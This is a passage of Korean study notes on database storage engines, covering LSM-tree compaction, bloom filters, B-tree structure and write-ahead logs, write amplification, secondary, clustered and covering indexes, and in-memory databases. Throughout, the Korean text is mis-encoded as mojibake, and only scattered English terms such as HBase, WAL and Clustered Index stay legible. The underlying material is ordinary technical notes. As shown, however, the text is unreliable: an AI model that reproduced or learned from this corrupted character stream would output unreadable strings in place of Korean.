์ด๋ธ์ ํ์ธํ ํ ๊ฐ์ฅ ์ค๋๋ ์ธ๊ทธ๋จผํธ๊น์ง ๊ฑฐ์ฌ๋ฌ ์ฌ๋ผ๊ฐ์ผ ํ๊ธฐ ๋๋ฌธ์ ๋๋ฆด ์ ์๋ค. ์ด๋ด ๋ ๋ธ๋ฃธ ํํฐ๋ฅผ ์ถ๊ฐ์ ์ผ๋ก ์ฌ์ฉํจ์ผ๋ก์ ์ ๊ทผ์ ์ต์ ํ ํ ์ ์๋ค.
- ํค๊ฐ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์กด์ฌํ์ง ์์์ ์๋ ค์ฃผ์ด ํค๋ฅผ ์ํ ๋์คํฌ ์ฝ๊ธฐ๋ฅผ ๋ง์ด ์ ์ฝํ ์ ์๋ค.
- SSํ
์ด๋ธ ์์ถ๊ณผ ๋ณํฉ ์๊ธฐ๋ฅผ ๊ฒฐ์ ํ๋ ์ ๋ต
- size-tiered
- HBase
- ์๋์ ์ผ๋ก ์๋กญ๊ณ ์์ SSํ
์ด๋ธ์ ์๋์ ์ผ๋ก ์ค๋๋๊ณ ํฐ SSํ
์ด๋ธ์ ์ฐ์ด์ด ๋ณํฉ
- leveled tiered
- ๋ ๋ฒจDB, ๋ก์คDB
- ํค ๋ฒ์๋ฅผ ๋ ์์ SSํ
์ด๋ธ๋ก ๋๋๊ณ ์ค๋๋ ๋ฐ์ดํฐ๋ ๊ฐ๋ณ ๋ ๋ฒจ๋ก ์ด๋ํ์ฌ ์ปดํฉ์
์ ์ ์ง์ ์ผ๋ก ์งํํด ๋์คํฌ ๊ณต๊ฐ์ ๋ ์ฌ์ฉ
- LSM ํธ๋ฆฌ์ ๊ธฐ๋ณธ ๊ฐ๋
์ ๋ฐฑ๊ทธ๋ผ์ด๋์์ ์ฐ์์ ์ผ๋ก SSํ
์ด๋ธ์ ์ง์์ ์ผ๋ก ๋ณํฉํ๋ ๊ฒ
- ๋ฐ์ดํฐ์
์ด ๊ฐ๋ฅํ ๋ฉ๋ชจ๋ฆฌ๋ณด๋ค ํจ์ฌ ๋ ํฌ๋๋ผ๋ ์ฌ์ ํ ํจ๊ณผ์ . ๋ฐ์ดํฐ๊ฐ ์ ๋ ฌ๋ ์์๋ก ์ ์ฅ๋ผ ์๋ค๋ฉด ๋ฒ์ ์ง์๋ฅผ ํจ์จ์ ์ผ๋ก ์คํํ ์ ์๋ค.
- ๋์คํฌ ์ฐ๊ธฐ๊ฐ ์์ฐจ์ ์ด๊ธฐ ๋๋ฌธ์ ๋์ ์ฐ๊ธฐ ์ฒ๋ฆฌ๋์ ๋ณด์ฅํ ์ ์๋ค.
### B ํธ๋ฆฌ
- ๊ฐ์ฅ ๋๋ฆฌ ์ฌ์ฉ๋๋ ์์ธ ๊ตฌ์กฐ
- ํค๋ก ์ ๋ ฌ๋ ํค-๊ฐ ์์ ์ ์งํ๋ค๋ ๊ฒ์ด ๊ฑฐ์ ์ ์ผํ SSํ
์ด๋ธ๊ณผ์ ๊ณตํต์
- ๋ก๊ทธ ๊ตฌ์กฐํ ์์ธ
- ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์ ๋ฉ๊ฐ๋ฐ์ดํธ ์ด์์ ๊ฐ๋ณ ํฌ๊ธฐ๋ฅผ ๊ฐ์ง ์ธ๊ทธ๋จผํธ๋ก ๋๋๊ณ ์์ฐจ์ ์ผ๋ก ์ธ๊ทธ๋จผํธ๋ฅผ ๊ธฐ๋ก
- B ํธ๋ฆฌ
- ์ ํต์ ์ผ๋ก 4KB(๋๋ก๋ ๋ ํฐ)์ ๊ณ ์ ํฌ๊ธฐ์ ๋ธ๋ก์ด๋ ํ์ด์ง๋ก ๋๋๊ณ ํ ๋ฒ์ ํ๋์ ํ์ด์ง์ ์ฝ๊ธฐ ๋๋ ์ฐ๊ธฐ
- ์ฃผ์๋ ์์น๋ฅผ ์ด์ฉํด ๊ฐ ํ์ด์ง๋ฅผ ์๋ณ (ํฌ์ธํฐ์ ๋น์ทํ์ง๋ง ๋ฉ๋ชจ๋ฆฌ ๋์ ๋์คํฌ์ ์๋ค.)
- ํ ํ์ด์ง๋ B ํธ๋ฆฌ์ root๋ก ์ง์ ๋๋ค. ์์ธ์์ ํค๋ฅผ ์ฐพ์ผ๋ ค๋ฉด ๋ฃจํธ์์ ์์ํ๋ค.
- ํ์ด์ง๋ ์ฌ๋ฌ ํค์ ํ์ ํ์ด์ง์ ์ฐธ์กฐ๋ฅผ ํฌํจํ๋ค. ๊ฐ ํ์ ํ์ด์ง๋ ํค๊ฐ ๊ณ์ ์ด์ด์ง๋ ๋ฒ์๋ฅผ ๋ด๋นํ๊ณ , ์ฐธ์กฐ ์ฌ์ด์ ํค๋ ํด๋น ๋ฒ์ ๊ฒฝ๊ณ๊ฐ ์ด๋์ธ์ง๋ฅผ ๋ํ๋ธ๋ค.
- ์ต์ข
์ ์ผ๋ก๋ ๊ฐ๋ณ ํค (leaf page)๋ฅผ ํฌํจํ๋ ํ์ด์ง์ ๋๋ฌํ๋ค.
- ํ ํ์ด์ง์์ ํ์ ํ์ด์ง๋ฅผ ์ฐธ์กฐํ๋ ์๋ฅผ ๋ถ๊ธฐ ๊ณ์(branching factor)๋ผ๊ณ ํ๋ค.
- ํค์ ๊ฐ์ ๊ฐฑ์ ํ๋ ค๋ฉด ํค๋ฅผ ํฌํจํ๊ณ ์๋ leaf page๋ฅผ ๊ฒ์ํ๊ณ ํ์ด์ง์ ๊ฐ์ ๋ฐ๊พผ ๋ค์ ํ์ด์ง๋ฅผ ๋ค์ ๋์คํฌ์ ๊ธฐ๋กํ๋ค.(ํ์ด์ง์ ๋ํ ๋ชจ๋ ์ฐธ์กฐ๋ ๊ณ์ ์ ํจํ๋ค)
- ์๋ก์ด ํค๋ฅผ ์ถ๊ฐํ๋ ค๋ฉด ์๋ก์ด ํค๋ฅผ ํฌํจํ๋ ๋ฒ์์ ํ์ด์ง๋ฅผ ์ฐพ์ ํด๋น ํ์ด์ง์ ํค์ ๊ฐ์ ์ถ๊ฐํ๋ค.
- ํ์ด์ง์ ๊ณต๊ฐ์ด ์์ ๊ฒฝ์ฐ ํ์ด์ง ํ๋๋ฅผ ๋ฐ ์ ๋ ์ฑ์์ง ๋๋ก ๋๋๊ณ ์์ ํ์ด์ง๊ฐ ์๋ก์ด ํค ๋ฒ์์ ํ์ ๋ถ๋ถ๋ค์ ์ ์ ์๊ฒ ๊ฐฑ์ ํ๋ค.
- ์ด ์๊ณ ๋ฆฌ์ฆ์ ํธ๋ฆฌ๊ฐ ๊ท ํ์ ์ ์งํ๋ ๊ฒ์ ๋ณด์ฅํ๋ค. n๊ฐ์ ํค๋ฅผ ๊ฐ์ง Bํธ๋ฆฌ๋ ๊น์ด๊ฐ ํญ์ `O(logn)` ์ด๋ค.
### ์ ๋ขฐํ ์ ์๋ B ํธ๋ฆฌ ๋ง๋ค๊ธฐ
- B ํธ๋ฆฌ์ ๊ธฐ๋ณธ์ ์ธ ์ฐ๊ธฐ ๋์์ ์๋ก์ด ๋ฐ์ดํฐ๋ฅผ ๋์คํฌ ์์ ํ์ด์ง์ ๋ฎ์ด ์ด๋ค. ์ด ๋์์ ๋ฎ์ด์ฐ๊ธฐ๊ฐ ํ์ด์ง์ ์์น๋ฅผ ๋ณ๊ฒฝํ์ง ์๋๋ค๊ณ ๊ฐ์ ํ๋ค. ์ฆ, ํ์ด์ง๋ฅผ ๋ฎ์ด์ฐ๋๋ผ๋ ํ์ด์ง๋ฅผ ๊ฐ๋ฆฌํค๋ ๋ชจ๋ ์ฐธ์กฐ๋ ์จ์ ํ๊ฒ ๋จ๋๋ค. ์ด๋ ํ์ผ์ ์ถ๊ฐ๋ง ํ ๋ฟ ๊ฐ์ ์์น์ ํ์ผ์ ๋ณ๊ฒฝํ์ง ์๋ LSM ํธ๋ฆฌ์ ๊ฐ์ ๋ก๊ทธ ๊ตฌ์กฐํ ์์ธ๊ณผ ๋ค๋ฅธ ์ ์ด๋ค.
- ๋์คํฌ์ ํ์ด์ง๋ฅผ ๋ฎ์ด์ฐ๋ ์ผ์ ์ค์ ํ๋์จ์ด ๋์์ด๋ผ๊ณ ์๊ฐํ ์ ์๋ค.
- ์ผ๋ถ ๋์์ ์ฌ๋ฌ ํ์ด์ง์ ๋ฎ์ด์ฐ๊ธฐ๋ฅผ ํ์๋ก ํ๋ค. ์๋ฅผ ๋ค์ด ์๋ก์ด ํค๋ฅผ ์ถ๊ฐํ๋ ค๋๋ฐ ํ์ด์ง์ ๊ณต๊ฐ์ด ์์ ๊ฒฝ์ฐ ํ์ด์ง๋ฅผ ๋ถํ ํ๊ณ ์์ ํ์ด์ง์์ ๋ถํ ๋ ํ์ด์ง๋ฅผ ์ฐธ์กฐํ ์ ์๋๋ก ๊ฐฑ์ ํด์ผ ํ๋๋ฐ, ์ผ๋ถ ํ์ด์ง์์ ๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ๊ณ ์ฅ๋ ๊ฒฝ์ฐ orphan page๊ฐ ๋ฐ์ํ ์ ์๋ค.
- ๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ๊ณ ์ฅ ์ํฉ์์ ์ค์ค๋ก ๋ณต๊ตฌํ ์ ์์ผ๋ ค๋ฉด WAL(write-ahead log, ์ฐ๊ธฐ์ ๋ก๊ทธ redo log, ์ฌ์คํ ๋ก๊ทธ)๋ผ๊ณ ํ๋ ๋ฐ์ดํฐ ๊ตฌ์กฐ๋ฅผ ์ถ๊ฐํด Bํธ๋ฆฌ๋ฅผ ๊ตฌํํ๋ค. WAL์ ํธ๋ฆฌ ํ์ด์ง์ ๋ณ๊ฒฝ๋ ๋ด์ฉ์ ์ ์ฉํ๊ธฐ ์ ๋ชจ๋ B ํธ๋ฆฌ์ ๋ณ๊ฒฝ ์ฌํญ์ ๊ธฐ๋กํ๋ ์ถ๊ฐ ์ ์ฉ ํ์ผ์ด๋ค. ์ด ๋ก๊ทธ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ๊ณ ์ฅ ์ดํ ๋ณต๊ตฌ๋ ๋ ์ผ๊ด์ฑ ์๋ ์ํ๋ก Bํธ๋ฆฌ๋ฅผ ๋ณต์ํ๋๋ฐ ์ฌ์ฉ๋๋ค.
- ๋์์ฑ ์ ์ด๋ ๋์น(latch)๋ก ํธ๋ฆฌ์ ๋ฐ์ดํฐ ๊ตฌ์กฐ๋ฅผ ๋ณดํธํ๋ค.
- ๋ก๊ทธ ๊ตฌ์กฐํ ์ ๊ทผ ๋ฐฉ์์ ํจ์ฌ ๊ฐ๋จํ๋ค. ์ ์
์ง์์ ๊ฐ์ญ ์์ด ๋ฐฑ๊ทธ๋ผ์ด๋์์ ๋ชจ๋ ๋ณํฉ์ ์ํํ๊ณ ์ด๋ฐ๊ธ ์์์ ์ผ๋ก ์๋ก์ด ์ธ๊ทธ๋จผํธ๋ฅผ ์ด์ ์ธ๊ทธ๋จผํธ๋ก ๋ฐ๊พธ๊ธฐ ๋๋ฌธ์ด๋ค.
### B ํธ๋ฆฌ ์ต์ ํ
- ํ์ด์ง ๋ฎ์ด ์ฐ๊ธฐ์ WAL ์ ์ง ๋์ ์ผ๋ถ ๋ฐ์ดํฐ ๋ฒ ์ด์ค๋ copy-on-write scheme๋ฅผ ์ฌ์ฉํ๋ค.
- ํ์ด์ง์ ์ ์ฒด ํค๋ฅผ ์ ์ฅํ๋ ๊ฒ ์๋๋ผ ํค๋ฅผ ์ถ์ฝํด ์ฐ๋ฉด ๊ณต๊ฐ์ ์ ์ฝํ ์ ์๋ค.
- ํ์ด์ง๋ ๋์คํฌ ์ ์ด๋์๋ ์์นํ ์ ์๋ค.
- ํธ๋ฆฌ์ ํฌ์ธํฐ๋ฅผ ์ถ๊ฐํ๋ค.
- ๋์คํฌ ์ฐพ๊ธฐ๋ฅผ ์ค์ด๊ธฐ ์ํ fractal tree
## B ํธ๋ฆฌ์ LSM ํธ๋ฆฌ ๋น๊ต
### LSM ํธ๋ฆฌ์ ์ฅ์
- B ํธ๋ฆฌ ์์ธ์ WAL์ ํ ๋ฒ, ํธ๋ฆฌ ํ์ด์ง์ ํ๋ฒ ์ต์ ๋๋ฒ ๋ฐ์ดํฐ๋ฅผ ๊ธฐ๋กํด์ผ ํ๋ค.
- ๋ก๊ทธ ๊ตฌ์กฐํ ์์ธ ๋ํ SS ํ
์ด๋ธ์ ๋ฐ๋ณต๋ ์ปดํฉ์
๊ณผ ๋ณํฉ์ผ๋ก ์ธํด ์ฌ๋ฌ ๋ฒ ๋ฐ์ดํฐ๋ฅผ ๋ค์ ์ด๋ค.
- ์ฐ๊ธฐ ์ฆํญ (write amplification)
- DB์ ์ฐ๊ธฐ ํ ๋ฒ์ด DB ์๋ช
๋์ ๋์คํฌ์ ์ฌ๋ฌ ๋ฒ์ ์ฐ๊ธฐ๋ฅผ ์ผ๊ธฐํ๋ ํจ๊ณผ
- SSD๋ ์๋ช
์ด ๋คํ ๋๊น์ง ๋ธ๋ก ๋ฎ์ด์ฐ๊ธฐ ํ์๊ฐ ์ ํ๋์ด ์ฐ๊ธฐ ์ฆํญ์ SSD์ ๊ฒฝ์ฐ ํน๋ณํ ๊ด์ฌ์ฌ๋ค.
- ์ฐ๊ธฐ๊ฐ ๋ง์ ์ ํ๋ฆฌ์ผ์ด์
์์ ์ฑ๋ฅ ๋ณ๋ชฉ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ๋์คํฌ์ ์ฐ๋ ์๋์ผ ์ ์๋ค. ์ด ๊ฒฝ์ฐ ์ฐ๊ธฐ ์ฆํญ์ ์ฑ๋ฅ ๋น์ฉ์ด๋ค. ์ ์ฅ์ ์์ง์ด ๋์คํฌ์ ๊ธฐ๋กํ ์๋ก ๋์คํฌ ๋์ญํญ ๋ด ์ฒ๋ฆฌํ ์ ์๋ ์ด๋น ์ฐ๊ธฐ๋ ์ ์ ์ค์ด๋ ๋ค.
- LSM ํธ๋ฆฌ๊ฐ ์๋์ ์ผ๋ก ์ฐ๊ธฐ ์ฆํญ์ด ๋ ๋ฎ๊ณ ํธ๋ฆฌ์์ ์ฌ๋ฌ ํ์ด์ง๋ฅผ ๋ฎ์ด ์ฐ๋ ๊ฒ์ด ์๋๋ผ ์์ฐจ์ ์ผ๋ก ์ปดํฉ์
๋ SSํ
์ด๋ธ ํ์ผ์ ์ฐ๊ธฐ ๋๋ฌธ์ B ํธ๋ฆฌ ๋ณด๋ค ์ฐ๊ธฐ ์ฒ๋ฆฌ๋์ ๋๊ฒ ์ ์งํ ์ ์๋ค.
- LSM ํธ๋ฆฌ๊ฐ ์์ถ๋ฅ ์ด ๋ ์ข์ B ํธ๋ฆฌ๋ณด๋ค ๋์คํฌ์ ๋ ์ ์ ํ์ผ์ ์์ฑํ๋ค. B ํธ๋ฆฌ๋ ํํธํ๋ก ์ธํด ๋์คํฌ ๊ณต๊ฐ ์ผ๋ถ๊ฐ ๋จ๋ ๋ฐ๋ฉด, LSM ํธ๋ฆฌ๋ ์ฃผ๊ธฐ์ ์ผ๋ก ํํธํ๋ฅผ ์์ ๊ธฐ ์ํด SSํ
์ด๋ธ์ ๋ค์ ๊ธฐ๋กํ์ฌ ์ ์ฅ์ ์ค๋ฒํค๋๊ฐ ๋ฎ๋ค. ๋ ๋ฒจ ์ปดํฉ์
์ ์ฌ์ฉํ๋ฉด ํนํ ๊ทธ๋ ๋ค.
### LSM ํธ๋ฆฌ์ ๋จ์
- ๋ก๊ทธ ๊ตฌ์กฐํ ์ ์ฅ์์ ๋จ์ ์ ์ปดํฉ์
๊ณผ์ ์ด ๋๋ก๋ ์งํ ์ค์ธ ์ฝ๊ธฐ์ ์ฐ๊ธฐ์ ์ฑ๋ฅ์ ์ํฅ์ ์ค๋ค๋ ์ ์ด๋ค. ์ ์ฅ์ ์์ง์ ์ปดํฉ์
์ ์ ์ง์ ์ผ๋ก ์ํํ๊ณ ๋์ ์ ๊ทผ์ ์ํฅ์ด ์๊ฒ ์ํํ๋ ค ํ์ง๋ง ๋์คํฌ๊ฐ ๊ฐ์ง ์์์ ํ๊ณ๊ฐ ์๊ณ , ๋์คํฌ์์ ๋น์ผ ์ปดํฉ์
์ด ๋๋ ๋ ๊น์ง ๋๊ธฐํด์ผ ํ๋ ์ํฉ์ด ๋ฐ์ํ๊ธฐ ์ฝ๋ค.
- ๋ ๋ค๋ฅธ ์ปดํฉ์
๋ฌธ์ ๋ ๋์ ์ฐ๊ธฐ ์ฒ๋ฆฌ๋์์ ๋ฐ์ํ๋ค. ์ฐ๊ธฐ ์ฒ๋ฆฌ๋์ด ๋์์๋ ์ปดํฉ์
์ค์ ์ ์ฃผ์๊น๊ฒ ํ์ง ์์ผ๋ฉด ์ปดํฉ์
์ด ์ ์
์ฐ๊ธฐ ์๋๋ฅผ ๋ฐ๋ผ๊ฐ ์ ์๊ณ ๋์คํฌ ์์ ๋ณํฉ๋์ง ์์ ์ธ๊ทธ๋จผํธ ์๊ฐ ๋์คํฌ ๊ณต๊ฐ์ด ๋ถ์กฑํ ๋ ๊น์ง ์ฆ๊ฐํ๋ค. ๊ทธ๋ฌ๋ฉด ๋ ๋ง์ ์ธ๊ทธ๋จผํธ ํ์ผ์ ํ์ธํด์ผ ํ๊ธฐ ๋๋ฌธ์ ์ฝ๊ธฐ ๋ํ ๋๋ ค์ง๋ค. ๋ณดํต SSํ
์ด๋ธ ๊ธฐ๋ฐ ์ ์ฅ์ ์์ง์ ์ด๋ฐ ์ํฉ์ ๊ฐ์งํ๊ธฐ ์ํ ๋ช
์์ ์ธ ๋ชจ๋ํฐ๋ง์ด ํ์ํ๋ค.
- B ํธ๋ฆฌ์ ์ฅ์ ์ ๊ฐ ํค๊ฐ ์์ธ์ ํ ๊ณณ์๋ง ์ ํํ๊ฒ ์กด์ฌํ๋ค๋ ๊ฒ์ด๋ค. ๋ฐ๋ฉด ๋ก๊ทธ ๊ตฌ์กฐํ ์ ์ฅ์ ์์ง์ ๊ฒฝ์ฐ ์ฌ๋ฌ ์ธ๊ทธ๋จผํธ์ ๊ฐ์ ํค์ ๋ค์ค ๋ณต์ฌ๋ณธ์ด ์กด์ฌํ ์ ์๋ค. ์ด๋ฐ ์ธก๋ฉด ๋๋ฌธ์ ๊ฐ๋ ฅํ ํธ๋์ญ์
์๋งจํฑ์ ์ ๊ณตํ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค์๋ B ํธ๋ฆฌ๊ฐ ํจ์ฌ ๋งค๋ ฅ์ ์ด๋ค.
- ์ฌ์ฉ ์ฌ๋ก์ ์ ํฉํ ์ ์ฅ์ ์์ง์ ์ ํ์ ๊ฒฐ์ ํ๊ธฐ ์ํด ํ
์คํธ๋ฅผ ํตํด ๊ฒฝํ์ ์ผ๋ก ๊ฒฐ์ ํ๋ ๋ฐฉ๋ฒ๋ ๋์์ง ์๋ค.
### ๊ธฐํ ์์ธ ๊ตฌ์กฐ
- ๊ธฐ๋ณธํค ์์ธ(Primary Key)
- ํค-๊ฐ ์์ธ์ ๋ํ์ ์ธ ์
- ๋ณด์กฐ ์์ธ(Secondary Key)
- ๊ธฐ๋ณธํค ์์ธ๊ณผ ๋ฌ๋ฆฌ ํค๊ฐ ๊ณ ์ ํ์ง ์๋ค.
- ์ฆ ๊ฐ์ ํค๋ฅผ ๊ฐ์ง ๋ง์ ๋ก์ฐ๊ฐ ์์ ์ ์๋ค. ์ด๋ ์์ธ์ ๊ฐ ๊ฐ์ ์ผ์นํ๋ ๋ก์ฐ ์๋ณ์ ๋ชฉ๋ก์ ๋ง๋ค๊ฑฐ๋ ๋ก์ฐ ์๋ณ์๋ฅผ ์ถ๊ฐํด ๊ฐ ํค๋ฅผ ๊ณ ์ ํ๊ฒ ๋ง๋๋ ๋ฐฉ๋ฒ์ ํตํด ํด๊ฒฐํ ์ ์๋ค.
### ์์ธ ์์ ๊ฐ ์ ์ฅํ๊ธฐ
- ์์ธ์ ๊ฐ์ด ๋ค๋ฅธ ๊ณณ์ ์ ์ฅ๋ ๋ก์ฐ๋ฅผ ๊ฐ๋ฆฌํค๋ ์ฐธ์กฐ์ผ ๊ฒฝ์ฐ ๋ก์ฐ๊ฐ ์ ์ฅ๋ ๊ณณ์ ํ ํ์ผ (heap file)์ด๋ผ๊ณ ํ๊ณ ํน์ ์์ ์์ด ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ๋ค.
- ํ ํ์ผ ์ ๊ทผ์ ์ผ๋ฐ์ ์ธ ๋ฐฉ์์ด๋ค. ์ฌ๋ฌ ๋ณด์กฐ ์์ธ์ด ์กด์ฌํ ๋ ๋ฐ์ดํฐ์ ์ค๋ณต์ ํผํ ์ ์๊ธฐ ๋๋ฌธ์ด๋ค.
- ๊ฐ ์์ธ์ ํ ํ์ผ์์ ์์น๋ง ์ฐธ์กฐํ๊ณ ์ค์ ๋ฐ์ดํฐ๋ ์ผ์ ํ ๊ณณ์ ์ ์งํ๋ค.
- ํ ํ์ผ ์ ๊ทผ ๋ฐฉ์์ ํค๋ฅผ ๋ณ๊ฒฝํ์ง ์๊ณ ๊ฐ์ ๊ฐฑ์ ํ ๋ ๊ฝค ํจ์จ์ ์ด๋ค.
- ํ์ง๋ง ์๋ก์ด ๊ฐ์ด ๋ง์ ๊ณต๊ฐ์ ํ์๋ก ํ๋ฉด ์ํฉ์ด ๋ณต์กํด์ง๋ค.
- ํ์์ ์ถฉ๋ถํ ๊ณต๊ฐ์ด ์๋ ์๋ก์ด ๊ณณ์ผ๋ก ์์น๋ฅผ ์ด๋ํด์ผ ํ๊ธฐ ๋๋ฌธ์ด๋ค. ์ด๋ฐ ๊ฒฝ์ฐ ๋ชจ๋ ์์ธ์ด ์๋ก์ด ํ ์์น๋ฅผ ๊ฐ๋ฆฌํค๊ฒ๋ ๊ฐฑ์ ํ๊ฑฐ๋ ์ด์ ํ ์์น์ ์ ๋ฐฉํฅ ํฌ์ธํฐ๋ฅผ ๋จ๊ฒจ๋ฌ์ผ ํ๋ค.
- ํด๋ฌ์คํฐ๋ ์์ธ(Clustered Index): ์์ธ์์ ํ ํ์ผ๋ก ๋ค์ ์ด๋ํ๋ ๊ฒ์ ์ฝ๊ธฐ ์ฑ๋ฅ์ ๋ถ์ด์ต์ด ๋ง์ ์ด๋ค ์ํฉ์์๋ ๋ฐ๋ก ์์ธ๋ ๋ก์ฐ๋ฅผ ์ ์ฅํ๋ค.
- ์ปค๋ฒ๋ง ์์ธ(Covering Index): Clustered Index์ Nonclustered Index์ ์ ์ถฉ์. ์์ธ ์์ ์นผ๋ผ์ ์ผ๋ถ๋ฅผ ์ ์ฅ. ์์ธ๋ง ์ฌ์ฉํด ์ผ๋ถ ์ง์์ ์๋ต์ด ๊ฐ๋ฅํ๋ค.
- ํด๋ฌ์คํฐ๋ ์์ธ๊ณผ ์ปค๋ฒ๋ง ์์ธ์ ์ฝ๊ธฐ ์ฑ๋ฅ์ ์ ๋ฆฌํ์ง๋ง ์ถ๊ฐ์ ์ธ ์ ์ฅ์๊ฐ ํ์ํ๊ณ ์ฐ๊ธฐ ์ค๋ฒํค๋๊ฐ ๋ฐ์ํ๋ค.
- ๋ํ ์ ํ๋ฆฌ์ผ์ด์
๋จ์์๋ ๋ณต์ ๋ก ์ธํ ๋ถ์ผ์น๋ฅผ ํ์
ํ ์ ์๊ธฐ ๋๋ฌธ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ํธ๋์ญ์
๋ณด์ฅ์ ๊ฐํํ๊ธฐ ์ํ ๋ณ๋์ ๋
ธ๋ ฅ์ด ํ์ํ๋ค.
### ๋ค์ค ์นผ๋ผ ์์ธ
- ๊ฐ์ฅ ์ผ๋ฐ์ ์ธ ์ ํ์ ๊ฒฐํฉ ์์ธ(concatenated index)์ด๋ค. ํ๋์ ์นผ๋ผ์ ๋ค๋ฅธ ์นผ๋ผ์ ์ถ๊ฐํ๋ ๋ฐฉ์์ผ๋ก ํ๋์ ํค์ ์ฌ๋ฌ ํ๋๋ฅผ ๋จ์ ๊ฒฐํฉํ๋ค.
- ๋ค์ฐจ์ ์์ธ: ์ฌ๋ฌ ์นผ๋ผ์ ์ง์ํ๋ ๋ ์ผ๋ฐ์ ์ธ ๋ฐฉ๋ฒ. ํนํ ์ง๋ฆฌ๊ณต๊ฐ ๋ฐ์ดํฐ์ ์ค์ํ๊ฒ ์ฌ์ฉ๋๋ค. Bํธ๋ฆฌ๋ LSM ํธ๋ฆฌ ์์ธ์ ์ด์ฐจ์ ๋ฒ์ ์ง์์ ํจ์จ์ ์ผ๋ก ์๋ตํ ์ ์๋ค.
- ๋ค์ฐจ์ ์์ธ์ ํ์ฉ์ ์ง๋ฆฌํ์ ์ธ ์์น์๋ง ๊ตญํ๋์ง ์๋๋ค.
### ์ ๋ฌธ ๊ฒ์๊ณผ ํผ์ง ์์ธ
์ง๊ธ๊น์ง์ ์์ธ์ ์ ํํ ๋ฐ์ดํฐ๋ฅผ ๋์์ผ๋ก ํค์ ์ ํํ ๊ฐ์ด๋ ์ ๋ ฌ๋ ํค์ ๊ฐ์ ๋ฒ์๋ฅผ ์ง์ํ ์ ์๋ค๊ณ ๊ฐ์ ํ๋ค. ํ์ง๋ง ์ด๋ฌํ ์์ธ์ผ๋ก๋ ์ฒ ์๊ฐ ํ๋ฆฐ ๋จ์ด์ ๊ฐ์ด ์ ์ฌํ ํค์ ๋ํด์๋ ๊ฒ์ํ ์ ์๋ค. ์ด์ฒ๋ผ ์ ๋งค๋ชจํธํ(fuzzy) ์ง์์๋ ๋ค๋ฅธ ๊ธฐ์ ์ด ํ์ํ๋ค.
์ ๋ฌธ ๊ฒ์ ์์ง์ ํน์ ๋จ์ด๋ฅผ ๊ฒ์ํ ๋ ๋์์ด๋ก ์ง์๋ฅผ ํ์ฅํ๊ณ , ๋จ์ด์ ๋ฌธ๋ฒ์ ํ์ฉ์ ๋ฌด์ํ๊ณ ๋์ผํ ๋ฌธ์์์ ์๋ก ์ธ์ ํด ๋ํ๋ ๋จ์ด๋ฅผ ๊ฒ์ํ๊ฑฐ๋ ์ธ์ดํ์ ์ผ๋ก ํ
์คํธ๋ฅผ ๋ถ์ํด ์ฌ์ฉํ๋ ๋ฑ ๋ค์ํ ๊ธฐ๋ฅ์ ์ ๊ณตํ๋ค.
### ๋ชจ๋ ๊ฒ์ ๋ฉ๋ชจ๋ฆฌ์ ๋ณด๊ด
์ด๋ฒ ์ฅ์์ ์ง๊ธ๊น์ง ์ค๋ช
ํ ๊ตฌ์กฐ๋ ๋ชจ๋ ๋์คํฌ ํ๊ณ์ ๋ํ ํด๊ฒฐ์ฑ
์ด๋ค. ๋์คํฌ๋ ์ง์์ฑ์ด ์๊ณ ๋จ๋ณด๋ค ๊ธฐ๊ฐ๋ฐ์ดํธ๋น ๊ฐ๊ฒฉ์ด ๋ ์ ๋ ดํ๋ค.
ํ์ง๋ง ๋จ์ด ์ ๋ ดํด์ง์ ๋ฐ๋ผ ๊ฐ๊ฒฉ ๋
ผ์์ ์ฝํด์ง๊ณ , ๋ฐ์ดํฐ์
๋๋ถ๋ถ์ด ํฌ์ง ์๊ธฐ ๋๋ฌธ์ ๋ฉ๋ชจ๋ฆฌ์ ์ ์ฒด๋ฅผ ๋ณด๊ดํ๋ ๋ฐฉ์๋ ๊ฝค ํ์ค์ ์ด๋ค. ํน์ ์ฌ๋ฌ ์ฅ๋น ๊ฐ ๋ถ์ฐํด์ ๋ณด๊ดํ ์ ๋ ์๋ค. ์ด๋ฐ ์ด์ ๋ก ์ธ๋ฉ๋ชจ๋ฆฌ ๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ๊ฐ๋ฐ๋๋ค.
๋ฉค์บ์๋ : ์ฅ๋น๊ฐ ์ฌ์์๋๋ฉด ๋ฐ์ดํฐ ์์ค์ ํ์ฉํ๋ ์บ์ ์ฉ๋
๋ฉค์บ์๋์ ๋ฌ๋ฆฌ ๋ค๋ฅธ ์ธ๋ฉ๋ชจ๋ฆฌ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ ์ง์์ฑ์ ๋ชฉํ๋ก ํ๋ค. ์ด ๋ชฉํ๋ฅผ ๋ฌ์ฑํ๋ ๋ฐฉ๋ฒ์ ํน์ ํ๋์จ์ด๋ฅผ ์ฌ์ฉํ๊ฑฐ๋ ๋์คํฌ์ ๋ณ๊ฒฝ ์ฌํญ์ ๋ก๊ทธ๋ฅผ ๊ธฐ๋กํ๊ฑฐ๋ ๋์คํฌ์ ์ฃผ๊ธฐ์ ์ธ ์ค๋
์์ ๊ธฐ๋กํ๊ฑฐ๋ ๋ค๋ฅธ ์ฅ๋น์ ์ธ๋ฉ๋ชจ๋ฆฌ ์ํ๋ฅผ ๋ณต์ ํ๋ ๋ฐฉ๋ฒ์ด๋ค.
